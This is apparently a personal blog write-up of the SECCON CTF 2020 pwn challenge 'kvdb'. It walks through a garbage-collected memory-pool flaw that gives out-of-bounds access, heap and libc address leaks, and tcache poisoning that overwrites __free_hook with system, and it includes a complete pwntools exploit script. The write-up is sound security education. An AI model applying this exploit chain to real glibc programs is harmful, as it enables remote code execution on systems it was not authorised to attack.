鶏がチキンレースをしたらチキンチキンレースになり
それがガキ使の企画として行われたらチキチキチキンチキンレースになることは自明であるが
キツキツのキッチンでそれが行われた場合キツキツのキッチンでチキチキチキンチキンレースになるのであろうか。
キッチリとキツキツのキッチンでチキチキチキンチキンレースと毎回発音するのは当然面倒くさいため、何か代替案を考えなければならない…
イントロ
いつぞや開催された SECCON CTF 2020。
その pwn 問題を全部解き直すシリーズ part.3 です。前回までのエントリは以下を参照してください。
本エントリでは pwn 2solves kvdb を解いていきます。 “k"ってついてるからカーネル問かと思っていたら、カーネル問じゃありませんでした。 けど面白かったです。 独自メモリシステム問題は、頭がバグりそうになるけど、解けると楽しい。 嗚呼人生哉…
静的解析
.sh1./kvdb: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b2278a81a0a29c6ec7f429d1992320bd5bd00ebe, for GNU/Linux 3.2.0, not stripped
2 Arch: amd64-64-little
3 RELRO: Full RELRO
4 Stack: Canary found
5 NX: NX enabled
6 PIE: PIE enabled
7$ strings ./libc.so.6 | grep glibc | head
8glibc 2.32Source code is attached to the distributed file.
You can ADD, GET, and DELETE data of key/value structure.
Data structure
One key/value data is stored as below structure: struct entry:
valid means whether this data is DELETEd or not.
hash is calculated from key in new_hash() and is used for searching the hashtable (htb) for the entry:
The pointers of them are stored in hashtable(structure entry *htb[0x100]).
The LSB of hash is used as the key of hashtable.
If the hash collides, new entry is put into root of the linked list in htb_link().
Memory Allocation Structure
Most of data is stored in buffer which is allocated via alloca() or calloc().
But key and value are allocated via original allocation system, which uses Garbage Collection.
Memory Pool is described as below structure: structure mpool mp:
Memory Allocation System and Garbage Collection
Buffer is allocated from this system via alloc():
It first check whether the rest of space is enough for requested size.
Here, p->cap means the upper limit size of the memory pool.
If there is no space, it calls gc(), or Garbage Collection function:
The default size of memory pool is 0x80.
After estimating the size of inuse memory, it adjusts new pool size.
In init_mpool(), new pool is allocated via malloc(),
then p->base, p->cap, and p->inuse is updated.
In migrate() function, all the entries is re-allocated in updated memory pool.
Note that all the key are re-allocated, but data is re-allocated only when e->valid is true:
The last phase of gc() is to free() the old memory pool.
Vulnerabilities
To be honest, I couldn’t find any vulns or kinda any clues at first glance….
I guess the author of this challenge has already written author’s writeup (I think this trend is typical especially in recent Japanese CTF), but I didn’t wanna see it. And I don’t know who is the author, though I can guess ptr-yudai disaster-level pro or shift_crops world-end pro is.
Curious Parts
When nothing tells you, start from small doubt.
The curious part 1. In db_get() which searches hashtable for the requested entry,
the buffer of the entry is checked as bellow:
curious memory check in db_get()
Similar check is performed also in db_reg():
curious memory check in db_reg()
Memory allocation and re-allocation should be performed in alloc() and migrate().
If they are perfect, these check wouldn’t be needed.
It means that the allocation system can collapse and the entry can be in out-of-memory region.
The curious part 2.
Why does this system leave deleted or migrated data unfreed.
In migrate(), data which satisfies e->valid&&e->size>0 is reallocated, but is not freed. Therefore, the old data become floating-pointer and can be used to leak some info, I guess.
The curious part 3, which is a totally mistake of mine, but usefull notice. Does this system need to shrink the pool in gc()?
the memory pool can shrink
Yeah, this behavior itself is OK, with no problems. But this small notice led me to the exploit.
The curious part 4, why reading and writing data is performed via read() and write()?
Why not fgets() or something like it.
In CTF context, this often means that you can write arbitrary value regardless of NULL byte of newline(0x1A).
The vuln
Let these three curious parts combined. Suppose below situation:
The size of old pool is 0x800, which has a data A in it.
Note that this data is at addr of 0x1xx ~ 0x2xx.
Data A is DELETEd and valid flag becomes 0. This pointer still remains in hashtable.
After that, old pool shrinks to the size of 0x200.
Well, the head of data A is in the range of current memory pool, but its body exceeds the range of the memory pool.
What happens if we re-register data with key “A”?
ent_lookup() just checks its key and doesn’t check valid flag.
And after that, db_reg() checks as below:
Okay, it also does NOT check valid flag.
In addition, it RE-RAISES valid flag.
Next if check would pass because it only checks the head of data(e->data).
The curious parts assembles now. Yes, floating-pointer remains in hashtable after delete. Yes, weird memory check is performed and it is insufficient. Yes, the memory pool can shrink and can be placed on the old memory pool. And yes, OOB read/write is available now…!
Linear OOB to leak heapbase
The concept is perfect, but doing it was totally brain-fucking trial-and-error work… tcache was very annoying and inuse + ensure < new_size/4 was very irritating. key is allocated even when its valid flag is 0. And I mistakenly assumpted that new_size is evaluated multiple times in one gc() call, which wasted so much time.
Anyway, below script does well heap feng-shui. (I really hate this word heap feng-shui. It is as good as saying nothing…)
.py 1_put("A", 0x8-2, "A"*0x1)
2_put("B", 0x8-2, "B"*0x1)
3_put("C", 0x8-2, "C"*0x1)
4_put("D", 0x8-2, "D"*0x1)
5_put("E", 0x8-2, "E"*0x1)
6_put("F", 0x8-2, "F"*0x1) # inuse 0x30
7_put("G", 0x60-2, "G"*0x4) # inuse 0x90 # cap 0x100
8
9_put("H", 0x350-2, "H"*0x340) # inuse 0x3e0 # cap 0x400
10_put("A", 0x320, "A"*0x310) # inuse 0x700 # cap 0x800
11
12_del("A")
13_del("B")
14_del("C")
15_del("D")
16_del("E")
17_del("F")
18_del("G")
19_del("H") # inuse 0x500 # use 0x8 # cap 0x800
20
21_put("B", 0xf0, "B"*0xe0) # inuse 0x7f0 # use 0x2f0 # cap 0x800
22_del("B")
23_put("C", 0xf0, "C"*0x20) # inuse 0x100 # use 0xf0 # cap 0x400
24_del("C")-
- Allocate 0x800 pool.
-
- Allocate data “A” in 0x800 pool. Then delete it.
-
- Shrink to 0x400 and 0x800 pool is freed. It is consolidated with top chunk.
Note that data “A” is deleted but still remains in 0x800 old pool. In other word, data “A” is in top chunk. Now, chunks looks like below:
data A is in old mp(top)
Then, we pad first space of old pool (top chunk) by allocating dummy entries. After some padding, we make pool shrink to the size of 0x200. Note that this pool is allocated from top chunk, or old pool. Heap would look like below:
data A is beyond current pool
The head of data A is actually in the current pool. However, its body is beyond the pool and exeeds to next chunk! If we allocate entry, it would be allocated right next to the current pool. Therefore, we have now overlapping chunk and OOB write access! We can write arbitrary value into the entry structure.
At this time, valid flag of A is down cuz A is already deleted. But just writing some value into A re-raises it. If we allocate one more entry, we can read its content because A is allocated for huge size. We get heapbase.
Non-linear read to leak libcbase
We can overwrite data and key pointer of entry structure using OOB write now. Next, we have to leak libcbase. We have to generate unsortedbin and leak its fd.
Generating unsorted is easy. Re-generating 0x800 size pool and freeing it would be enough.
However, don’t forget that data and key must point to the addr in the current pool, otherwise the program dies soon:
Therefore, we have to generate unsorted and re-generate overlap data again… It was really brain-fucking work again. Finally below script works well.
.py 1# generate unsorted
2_put("C", 0x3e0, "C"*0x300) # inuse 0x410 # cap #0x800
3_del("C")
4_put("#", 0x3e0-2, "#"*0x300)
5_del("#") # inuse 0x7f0 # cap 0x800
6_put("M", 0x20-2, "M"*4)
7_del("M") # inuse 0x52 # cap 0x400
8
9_put("N", 0x3a0-2, "N"*0x200) # unsorted is generated
10_del("N") # inuse 0x3f2
11_put("O", 0x20-2, "O") # cap 0x200, again!
12
13###################################
14
15_put("P", 0x190, "T") # target whose entry is on deleted A
16 # NOTE: old A should be in base+inuse rangeNow, heap looks like below:
Overwrite victim entry’s size using OOB of A. By reading A or victim data, we can leak fd of unsortedbin.
tcache poisoning to overwrite __free_hook
We have heapbase and libcbase, but don’t have AAW. Let’s do tcache poisoning. We use tcache 0x410 as a victim.
First, we have to free memory pool of the size 0x400 twice to link to tcache.
But current heap is a little bit dirty due to previous work for leak.
Unfortunately, entry structure has pointer in it and they are dereferenced in gc() and migrate() function.
So they should be valid value, or the program dies.
Especially data pointer is not used if its valid flag is 0, but key pointer is always dereferenced regardless of valid flag.
Below script would work:
.py 1# let's tcache poisoning
2_del("A")
3_del("U")
4_del("O")
5_del("P")
6 # inuse 0x1e8 # cap 0x200
7print(alive)
8
9_put("Q", 0x300-2, "Q"*0x10) # inuse 0x349 # cap 0x400
10_del("Q")
11_put("Q", 0x3a0, "Q"*0x10) # remap # inuse 0x3db # cap 0x400
12_del("Q")
13_put("R", 0x40-2, "R"*0x10) # shrink # inuse 0x8b # cap 0x200
14_del("R")
15
16
17# forge chunks
18fake = entry(".", 0x800, heapbase, heapbase, False).gen()
19pay = b""
20pay += b"/bin/sh\x00"
21pay += p8(0) * 0x200
22pay += (p64(0xdeadbeef) + fake) * 0x9
23pay += p64(0x411)
24pay += p64(libcbase + 0x1eeb28 - 0x60) # free_hook - 0x60
25_put("V", len(pay), pay)
26
27#################################
28# now, 0x410 [ 2]: 0x5617d6890fa0 —▸ 0x7f97123e6b28 (__free_hook) ◂— 0x0place /bin/sh at the head of memory pool
Now, __free_hook is overwriten with system.
However, "/bin/sh\x00" should be at the head of the pool.
The content of the pool is migrated as below at migrate():
It just lookups hashtable and migrate keys by strcpy.
So we have to determine the first non-NIL entry of hashtable and give "/bin/sh\x00" for its key.
In my case, it was overwritable via OOB of data A, so not difficult :)
exploit
風水がめんどくさすぎて、自前の libc でやって辞めちゃったけど、オフセット変えるだけだろうからこれでいいよね、いいよ。
exploit.py 1#!/usr/bin/env python
2#encoding: utf-8;
3
4from pwn import *
5import sys
6
7FILENAME = "./kvdb"
8LIBCNAME = "./libc.so.6"
9
10hosts = ("kvdb.chal.seccon.jp","localhost","localhost")
11ports = (17368,12300,23947)
12rhp1 = {'host':hosts[0],'port':ports[0]} #for actual server
13rhp2 = {'host':hosts[1],'port':ports[1]} #for localhost
14rhp3 = {'host':hosts[2],'port':ports[2]} #for localhost running on docker
15context(os='linux',arch='amd64')
16binf = ELF(FILENAME)
17libc = ELF(LIBCNAME) if LIBCNAME!="" else None
18
19current_size = 0x80
20KEYMAX = 0x40
21DATAMAX = 0x400
22alive = []
23
24## utilities #########################################
25
26def hoge(ix):
27 global c
28 c.recvuntil("> ")
29 c.sendline(str(ix))
30
31def _put(key, size, data):
32 global c
33 if len(key) > KEYMAX:
34 print("[-] KEY is too long...")
35 raw_input("enter to exit...")
36 exit(0)
37 if len(data) > DATAMAX:
38 print("[-] DATA is too long...")
39 raw_input("enter to exit...")
40 exit(0)
41 if len(data) > size:
42 print("[-] I will kill you...")
43 raw_input("enter to exit...")
44 exit(0)
45 hoge(1)
46 c.recvuntil("Key : ")
47 c.sendline(key)
48 c.recvuntil("Size : ")
49 c.sendline(str(size))
50 c.recvuntil("Data : ")
51 c.send(data)
52
53 if key not in alive:
54 alive.append(key)
55
56def _get(key):
57 global c
58 hoge(2)
59 c.recvuntil("Key : ")
60 c.sendline(key)
61 if "not found" in c.recvline():
62 return None
63 c.recvuntil("---- data ----")
64 c.recvline()
65 return c.recvuntil("---")[:-4]
66
67def _del(key):
68 global c
69 hoge(3)
70 c.recvuntil("Key : ")
71 c.sendline(key)
72 if "not found" in c.recvline():
73 print("NOT FOUNDDDDDDDDDDDDDDDD")
74 raise
75 else:
76 if key in alive:
77 alive.remove(key)
78 return True
79
80class entry:
81 def __init__(self, key_str, _size, _key=None, _data=None, valid=True):
82 self.size = _size
83 self.key_str = key_str
84 self.key = _key
85 self.data = _data
86 self.hash = self.new_hash()
87 self.valid = valid
88
89 def new_hash(self):
90 h = 5381
91 for c in self.key_str:
92 h = h*33 + ord(c)
93 print("[ ] hash of " + self.key_str + ": "+hex(h&0xffffffff))
94 return h & 0xffffffff
95
96 def gen(self):
97 pay = b""
98 pay += p32(0x1) if self.valid else p32(0) # valid flag
99 pay += p32(self.hash)
100 pay += p64(self.size)
101 pay += p64(self.key) if self.key!=None else p64(0)
102 pay += p64(self.data) if self.data!=None else p64(0)
103 pay += p64(0) # next
104 return pay
105
106
107
108## exploit ###########################################
109
110def exploit():
111 global c
112
113 _put("A", 0x8-2, "A"*0x1)
114 _put("B", 0x8-2, "B"*0x1)
115 _put("C", 0x8-2, "C"*0x1)
116 _put("D", 0x8-2, "D"*0x1)
117 _put("E", 0x8-2, "E"*0x1)
118 _put("F", 0x8-2, "F"*0x1) # inuse 0x30
119 _put("G", 0x60-2, "G"*0x4) # inuse 0x90 # cap 0x100
120
121 _put("H", 0x350-2, "H"*0x340) # inuse 0x3e0 # cap 0x400
122 _put("A", 0x320, "A"*0x310) # inuse 0x700 # cap 0x800
123
124 _del("A")
125 _del("B")
126 _del("C")
127 _del("D")
128 _del("E")
129 _del("F")
130 _del("G")
131 _del("H") # inuse 0x500 # use 0x8 # cap 0x800
132
133 _put("B", 0xf0, "B"*0xe0) # inuse 0x7f0 # use 0x2f0 # cap 0x800
134 _del("B")
135 _put("C", 0xf0, "C"*0x20) # inuse 0x100 # use 0xf0 # cap 0x400
136 _del("C")
137
138 #######################################
139
140 # struct entry's size is 0x28(0x30)
141 for i in range(0x1b0//0x30):
142 _put(p8(0x61+i), 0x1,p8(0x61+i))
143 _del(p8(0x61+i))
144
145 _put("?", 0x2e0-2, "?"*0x200) # inuse 0x3ef # cap 0x400
146 _del("?")
147
148 _put("!", 0x20-2, "!"*0x10) # YEAH! overlapping! # cap 0x200
149 _del("!")
150
151 _put("T", 0x190, "T") # target whose entry is on deleted A
152 # NOTE: old A should be in base+inuse range
153
154
155 ##############################
156
157 T = entry("T", 0x800, 0xdeadbeef, 0xdeadbeef).gen()
158 U = entry("U", 0x800, 0xdeadbeef, 0xdeadbeef).gen()
159 V = entry("V", 0x800, 0xdeadbeef, 0xdeadbeef).gen()
160 W = entry("W", 0x800, 0xdeadbeef, 0xdeadbeef).gen()
161 Z = entry("Z", 0x800, 0xdeadbeef, 0xdeadbeef).gen()
162
163 pay = b""
164 pay += "A"*0x3e
165 pay += p64(0xdeadc0bebeef)
166 pay += T
167 pay += p64(0xdeadc0bebeef)
168 pay += U
169 pay += p64(0xdeadc0bebeef)
170 pay += V
171 pay += p64(0xdeadc0bebeef)
172 pay += W
173 pay += p64(0xdeadc0bebeef)
174 pay += Z
175 _put("A", len(pay), "A"*0x3e + (p64(0x201f1)+p64(0))*((len(pay)-0x3e)//0x10)) # fake top size to avoid corruption
176
177 ############################
178
179 _put("U", 0x1, "U") # it's mine
180 _put("V", 0x1, "W") # it's mine
181 _put("W", 0x1, "W") # it's mine
182 _put("Z", 0x1, "Z") # it's mine
183
184 # now, A's valid flag is 1. So, I can read via OOB. Let's leak heapbase
185 leak = unpack(_get("A")[0x86:0x86+8])
186 heapbase = leak - 0xdb6
187 print("[!] leak: " + hex(leak))
188 print("[!] heapbase: " + hex(heapbase))
189
190 #############################
191 # let's generate unsorted # inuse 0x1e2 # cap 0x200
192
193 T = entry("T", 0x800, heapbase+0xc24, heapbase+0xc26).gen()
194 U = entry("U", 0x800, heapbase+0xdb6, heapbase+0xdb8).gen()
195 V = entry("V", 0x800, heapbase+0xdb9, heapbase+0xbe0).gen()
196 pay = b""
197 pay += "A"*12
198 pay += "U\x00"
199 pay += "U"
200 pay += "V\x00"
201 pay += "V"
202 pay += "W\x00"
203 pay += "W"
204 pay += "Z\x00"
205 pay += "Z"
206 pay += "A"*(0x3e-len(pay))
207 pay += p64(0xdeadc0bebeef)
208 pay += T
209 pay += p64(0xdeadc0bebeef)
210 pay += U
211 pay += p64(0xdeadc0bebeef)
212 pay += V
213 _put("A", len(pay), pay)
214 _del("A")
215 _del("T")
216 _del("U")
217 _del("V")
218 _del("W")
219 _del("Z")
220
221 print(alive) # inuse 0x1e2 # cap 0x200
222 # generate unsorted
223 _put("C", 0x3e0, "C"*0x300) # inuse 0x410 # cap #0x800
224 _del("C")
225 _put("#", 0x3e0-2, "#"*0x300)
226 _del("#") # inuse 0x7f0 # cap 0x800
227 _put("M", 0x20-2, "M"*4)
228 _del("M") # inuse 0x52 # cap 0x400
229
230 _put("N", 0x3a0-2, "N"*0x200) # unsorted is generated
231 _del("N") # inuse 0x3f2
232 _put("O", 0x20-2, "O") # cap 0x200, again!
233
234 ###################################
235
236 _put("P", 0x190, "T") # target whose entry is on deleted A
237 # NOTE: old A should be in base+inuse range
238 T = entry("T", 0x10, heapbase+0xc24, heapbase+0xc00).gen()
239 U = entry("U", 0x800, heapbase+0xdb6, heapbase+0xdb8).gen() # my spy!
240 V = entry("V", 0x800, heapbase+0xdb9, heapbase+0xbe0).gen() # my attacker!
241 pay = b""
242 pay += "A"*12
243 pay += "U\x00"
244 pay += "U"
245 pay += "V\x00"
246 pay += "V"
247 pay += "W\x00"
248 pay += "W"
249 pay += "Z\x00"
250 pay += "Z"
251 pay += "A"*(0x3e-len(pay))
252 pay += p64(0xdeadc0bebeef)
253 pay += T
254 pay += p64(0xdeadc0bebeef)
255 pay += U
256 _put("A", len(pay), pay)
257
258 leak = unpack(_get("U")[0x1b8:0x1b8+8])
259 libcbase = leak - 0x1ebbe0
260 print("[!] leak: " + hex(leak))
261 print("[!] libcbase: " + hex(libcbase))
262
263
264 #################################
265 # let's tcache poisoning
266 _del("A")
267 _del("U")
268 _del("O")
269 _del("P")
270 # inuse 0x1e8 # cap 0x200
271 print(alive)
272
273 _put("Q", 0x300-2, "Q"*0x10) # inuse 0x349 # cap 0x400
274 _del("Q")
275 _put("Q", 0x3a0, "Q"*0x10) # remap # inuse 0x3db # cap 0x400
276 _del("Q")
277 _put("R", 0x40-2, "R"*0x10) # shrink # inuse 0x8b # cap 0x200
278 _del("R")
279
280
281 # forge chunks
282 fake = entry(".", 0x800, heapbase, heapbase, False).gen()
283 pay = b""
284 pay += b"/bin/sh\x00"
285 pay += p8(0) * 0x200
286 pay += (p64(0xdeadbeef) + fake) * 0x9
287 pay += p64(0x411)
288 pay += p64(libcbase + 0x1eeb28 - 0x60) # free_hook - 0x60
289 _put("V", len(pay), pay)
290
291 #################################
292 # now, 0x410 [ 2]: 0x5617d6890fa0 —▸ 0x7f97123e6b28 (__free_hook) ◂— 0x0
293 # inuse 0x8b # cap 0x200
294 _put("R", 0x300-2, "R"*0x10)
295 _del("R")
296
297 # 0x410 [ 1]: 0x7fd383c83b28 (__free_hook) ◂— 0x0
298 pay = b""
299 pay += p8(0)*(8*8-1-0x10)
300 pay += p64(libcbase + 0x55410) # system
301 pay += p8(0) * (0x310-2-len(pay))
302 _put("R", 0x310-2, pay) # free_hook -> system
303 _del("R")
304
305 ####################################
306
307 # the pool shoud start with "/bin/sh\x00"
308 _put("(", 0x100, "hoge")
309
310
311
312## main ##############################################
313
314if __name__ == "__main__":
315 global c
316
317 if len(sys.argv)>1:
318 if sys.argv[1][0]=="d":
319 cmd = """
320 set follow-fork-mode parent
321 """
322 c = gdb.debug(FILENAME,cmd)
323 elif sys.argv[1][0]=="r":
324 c = remote(rhp1["host"],rhp1["port"])
325 elif sys.argv[1][0]=="v":
326 c = remote(rhp3["host"],rhp3["port"])
327 else:
328 c = remote(rhp2['host'],rhp2['port'])
329 exploit()
330 c.interactive()
really brain-fucking feng-shui chall…! but interesting
アウトロ
途中で頭がバグりそうになったけど、よくよく考えました。 SECCON、大分手応えの有る問題たちでした。 あれ、あと 1 問 pwn 残ってるのかな。やんなきゃかな。